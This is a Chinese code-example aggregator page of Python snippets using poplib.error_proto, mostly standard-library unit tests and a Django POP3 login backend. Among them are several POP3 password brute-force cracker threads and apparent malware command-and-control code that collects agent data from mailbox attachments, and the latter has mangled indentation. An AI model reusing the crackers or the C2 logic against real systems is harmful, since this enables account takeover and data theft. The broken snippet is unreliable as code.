Python poplib 模块,error_proto() 实例源码

我们从Python开源项目中,提取了以下43个代码示例,用于说明如何使用poplib.error_proto()

项目:darkc0de-old-stuff    作者:tuwid    | 项目源码 | 文件源码
def run(self):
        value, user = getword()
        try:
            print "-"*12
            print "User:",user,"Password:",value
            pop = poplib.POP3(sys.argv[1])
            pop.user(user)
            pop.pass_(value)
            print "\t\nLogin successful:",value, user
            print pop.stat()
            pop.quit()
            work.join()
            sys.exit(2)
        except (poplib.error_proto), msg: 
            #print "An error occurred:", msg
            pass
项目:darkc0de-old-stuff    作者:tuwid    | 项目源码 | 文件源码
def run(self):
        value = getword()
        try:
            print "-"*12
            print "User:",user[:-1],"Password:",value
            pop = poplib.POP3(ipaddr[0])
            pop.user(user[:-1])
            pop.pass_(value)
            print "\t\nLogin successful:",value, user
            print pop.stat()
            pop.quit()
            work.join()
            sys.exit(2)
        except(poplib.error_proto, socket.gaierror, socket.error, socket.herror), msg: 
            #print "An error occurred:", msg
            pass
项目:darkc0de-old-stuff    作者:tuwid    | 项目源码 | 文件源码
def run(self):
        value, user = getword()
        user = user.replace("\n","")
        value = value.replace("\n","")

        try:
            print "-"*12
            print "[+] User:",user,"Password:",value
            pop = poplib.POP3_SSL(server, 995)
            pop.user(user)
            pop.pass_(value)
            print "\t\t\n\nLogin successful:",user, value
            print "\t\tMail:",pop.stat()[0],"emails"
            print "\t\tSize:",pop.stat()[1],"bytes\n\n"
            success.append(user)
            success.append(value)
            success.append(pop.stat()[0])
            success.append(pop.stat()[1])
            pop.quit()
        except (poplib.error_proto), msg: 
            #print "An error occurred:", msg
            pass
项目:darkc0de-old-stuff    作者:tuwid    | 项目源码 | 文件源码
def run(self):
        value = getword()
        try:
            print "-"*12
            print "User:",user[:-1],"Password:",value
            pop = poplib.POP3(ip)
            pop.user(user[:-1])
            pop.pass_(value)
            print "\t\nLogin successful:",value, user
            print pop.stat()
            pop.quit()
            work.join()
            sys.exit(2)
        except(poplib.error_proto), msg: 
            #print "An error occurred:", msg
            pass
项目:django-iitg-auth    作者:narenchoudhary    | 项目源码 | 文件源码
def test_authenticate_poplib_exception(self, mock_pop3_ssl):
        """
        Test ``authenticate`` for ``poplib.error_proto`` exception.

        :param mock_pop3_ssl: mock path for `poplib.POP3_SSL``
        :return: None
        """
        mock_pop3_ssl.side_effect = poplib.error_proto
        # response.side_effect = poplib.error_proto
        # response.username.return_value = self.user.username
        # response.pass_.return_value = b'+OK'
        request = HttpRequest()
        credentials = {
            'username': 'username',
            'password': 'password',
            'login_server': '202.141.80.10',
            'port': '995'
        }
        auth_backend = WebMailAuthenticationBackend()
        self.assertIsNone(auth_backend.authenticate(request, **credentials))
项目:SPF    作者:Exploit-install    | 项目源码 | 文件源码
def validate(self, user, password):
        if (not self.srv):
            return

        self.user = user
        self.password = password
        try:
            self.srv.user(self.user)
            self.srv.pass_(self.password)
        except poplib.error_proto as e:
            return False
        return True
项目:zippy    作者:securesystemslab    | 项目源码 | 文件源码
def test_exceptions(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd, 'echo -err')
项目:zippy    作者:securesystemslab    | 项目源码 | 文件源码
def test_user(self):
        self.assertOK(self.client.user('guido'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:zippy    作者:securesystemslab    | 项目源码 | 文件源码
def test_pass_(self):
        self.assertOK(self.client.pass_('python'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:oil    作者:oilshell    | 项目源码 | 文件源码
def test_exceptions(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd, 'echo -err')
项目:oil    作者:oilshell    | 项目源码 | 文件源码
def test_user(self):
        self.assertOK(self.client.user('guido'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:oil    作者:oilshell    | 项目源码 | 文件源码
def test_pass_(self):
        self.assertOK(self.client.pass_('python'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:oil    作者:oilshell    | 项目源码 | 文件源码
def test_too_long_lines(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd,
                          'echo +%s' % ((poplib._MAXLINE + 10) * 'a'))
项目:python2-tracer    作者:extremecoders-re    | 项目源码 | 文件源码
def test_exceptions(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd, 'echo -err')
项目:python2-tracer    作者:extremecoders-re    | 项目源码 | 文件源码
def test_user(self):
        self.assertOK(self.client.user('guido'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:python2-tracer    作者:extremecoders-re    | 项目源码 | 文件源码
def test_pass_(self):
        self.assertOK(self.client.pass_('python'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:python2-tracer    作者:extremecoders-re    | 项目源码 | 文件源码
def test_too_long_lines(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd,
                          'echo +%s' % ((poplib._MAXLINE + 10) * 'a'))
项目:web_ctp    作者:molebot    | 项目源码 | 文件源码
def test_exceptions(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd, 'echo -err')
项目:web_ctp    作者:molebot    | 项目源码 | 文件源码
def test_user(self):
        self.assertOK(self.client.user('guido'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:web_ctp    作者:molebot    | 项目源码 | 文件源码
def test_pass_(self):
        self.assertOK(self.client.pass_('python'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:web_ctp    作者:molebot    | 项目源码 | 文件源码
def test_too_long_lines(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd,
                          'echo +%s' % ((poplib._MAXLINE + 10) * 'a'))
项目:pefile.pypy    作者:cloudtracer    | 项目源码 | 文件源码
def test_exceptions(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd, 'echo -err')
项目:pefile.pypy    作者:cloudtracer    | 项目源码 | 文件源码
def test_user(self):
        self.assertOK(self.client.user('guido'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:pefile.pypy    作者:cloudtracer    | 项目源码 | 文件源码
def test_pass_(self):
        self.assertOK(self.client.pass_('python'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:pefile.pypy    作者:cloudtracer    | 项目源码 | 文件源码
def test_too_long_lines(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd,
                          'echo +%s' % ((poplib._MAXLINE + 10) * 'a'))
项目:ouroboros    作者:pybee    | 项目源码 | 文件源码
def test_exceptions(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd, 'echo -err')
项目:ouroboros    作者:pybee    | 项目源码 | 文件源码
def test_user(self):
        self.assertOK(self.client.user('guido'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:ouroboros    作者:pybee    | 项目源码 | 文件源码
def test_pass_(self):
        self.assertOK(self.client.pass_('python'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:ouroboros    作者:pybee    | 项目源码 | 文件源码
def test_too_long_lines(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd,
                          'echo +%s' % ((poplib._MAXLINE + 10) * 'a'))
项目:ouroboros    作者:pybee    | 项目源码 | 文件源码
def test_stls(self):
        self.assertRaises(poplib.error_proto, self.client.stls)
项目:ouroboros    作者:pybee    | 项目源码 | 文件源码
def test_stls(self):
        self.assertRaises(poplib.error_proto, self.client.stls)
项目:ndk-python    作者:gittor    | 项目源码 | 文件源码
def test_exceptions(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd, 'echo -err')
项目:ndk-python    作者:gittor    | 项目源码 | 文件源码
def test_user(self):
        self.assertOK(self.client.user('guido'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:ndk-python    作者:gittor    | 项目源码 | 文件源码
def test_pass_(self):
        self.assertOK(self.client.pass_('python'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:django-iitg-auth    作者:narenchoudhary    | 项目源码 | 文件源码
def authenticate(self, request, **credentials):
        """
        Returns user for credentials provided if credentials are valid.
        Returns ``None`` otherwise.

        :param request: HttpRequest instance
        :param credentials: keyword arguments
        :return: user object
        """
        username = credentials.get('username')
        password = credentials.get('password')
        login_server = credentials.get('login_server')
        port = credentials.get('port')

        user_model = get_user_model()
        try:
            user = user_model.objects.get(username=username)
        except user_model.DoesNotExist:
            return None
        try:
            response = poplib.POP3_SSL(host=login_server, port=port)
            response.user(user=username)
            password_string = response.pass_(pswd=password)
            if b'OK' in password_string:
                response.quit()
                return user
        except poplib.error_proto:
            return None
        except (ValueError, TypeError) as e:
            raise e
项目:fancybear    作者:rickey-g    | 项目源码 | 文件源码
def deleteMsg(self, pop, numOfMsg):
    try:
                pop.dele(numOfMsg)
        except poplib.error_proto, e:
                print 'ERROR: %s'%e
            #pop.quit()
            return 0
    #pop.quit()
    return 1
项目:kbe_server    作者:xiaohaoppy    | 项目源码 | 文件源码
def test_exceptions(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd, 'echo -err')
项目:kbe_server    作者:xiaohaoppy    | 项目源码 | 文件源码
def test_user(self):
        self.assertOK(self.client.user('guido'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:kbe_server    作者:xiaohaoppy    | 项目源码 | 文件源码
def test_pass_(self):
        self.assertOK(self.client.pass_('python'))
        self.assertRaises(poplib.error_proto, self.client.user, 'invalid')
项目:kbe_server    作者:xiaohaoppy    | 项目源码 | 文件源码
def test_too_long_lines(self):
        self.assertRaises(poplib.error_proto, self.client._shortcmd,
                          'echo +%s' % ((poplib._MAXLINE + 10) * 'a'))
项目:kbe_server    作者:xiaohaoppy    | 项目源码 | 文件源码
def test_stls(self):
        self.assertRaises(poplib.error_proto, self.client.stls)
项目:kbe_server    作者:xiaohaoppy    | 项目源码 | 文件源码
def test_stls(self):
        self.assertRaises(poplib.error_proto, self.client.stls)
项目:fancybear    作者:rickey-g    | 项目源码 | 文件源码
def recv_mail(self):
    print 'POP3: recv_mail'
    pop = None
    try:
        pop = poplib.POP3_SSL(POP3_MAIL_IP, POP3_PORT)
    except (poplib.error_proto, socket.error) as e:
        print 'POP3: ERROR: %s : %s'%(POP3_MAIL_IP,e)
        time.sleep(20)
    if pop == None:
        return
    try:        
            pop.user(POP3_ADDR)
            pop.pass_(POP3_PASS)
    except poplib.error_proto, e:
        print 'POP3: ERROR: %s : %s'%(POP3_ADDR, e)
        time.sleep(20)

        if pop.stat()[0] == 0:
            print 'POP3: no messages'
            pop.quit()
            time.sleep(1)     #long sleep
            return

    for i in xrange( 1,len(pop.list()[1])+1 ):
        print 'NUM: %d'%i
        status, lines, octets = pop.retr(i)
            msg = email.message_from_string('\n'.join(lines))
            #->> P2: validate_subject
        if self.isCurrentMsg( msg ) == 0:
            self.deleteMsg(pop, i)
            #pop.quit()
            continue
        ip = self.getAgentIP( msg.get_all('Received')[2] )
        timestamp = msg.get('Date')
            for part in msg.walk():
                    if part.get_content_type():
                        if part.get_content_type() == "application/octet-stream":
                                body = part.get_payload(decode=True)
                                if body is not None:
                        agent_id = struct.unpack('<I', body[:4])[0]
                                    data = self.P3Scheme.pack_agent_data(body)
                                    #timestamp = datetime.utcnow().isoformat()
                        print 'POP3: Datas: %s'%body
                                    meta_data = self.P3Scheme.pack_data(self.P3Scheme.separator.join([ip, timestamp]))
                                    self.LocalStorage.save_data_from_agent(agent_id, meta_data + self.P3Scheme.separator + data)
                                    self.Logger.log_message("POP3: Data saved!")
                                else:
                                    print 'POP3: empty message'
                        self.deleteMsg(pop, i)
                        continue
        if self.deleteMsg(pop, i) == 0:
            print 'POP3: ERROR: Msg is\'t deleted'
            pop.guit()
            exit(1)
            time.sleep(0.1)
        break
    pop.quit()

    #get data from fs, send to MailServer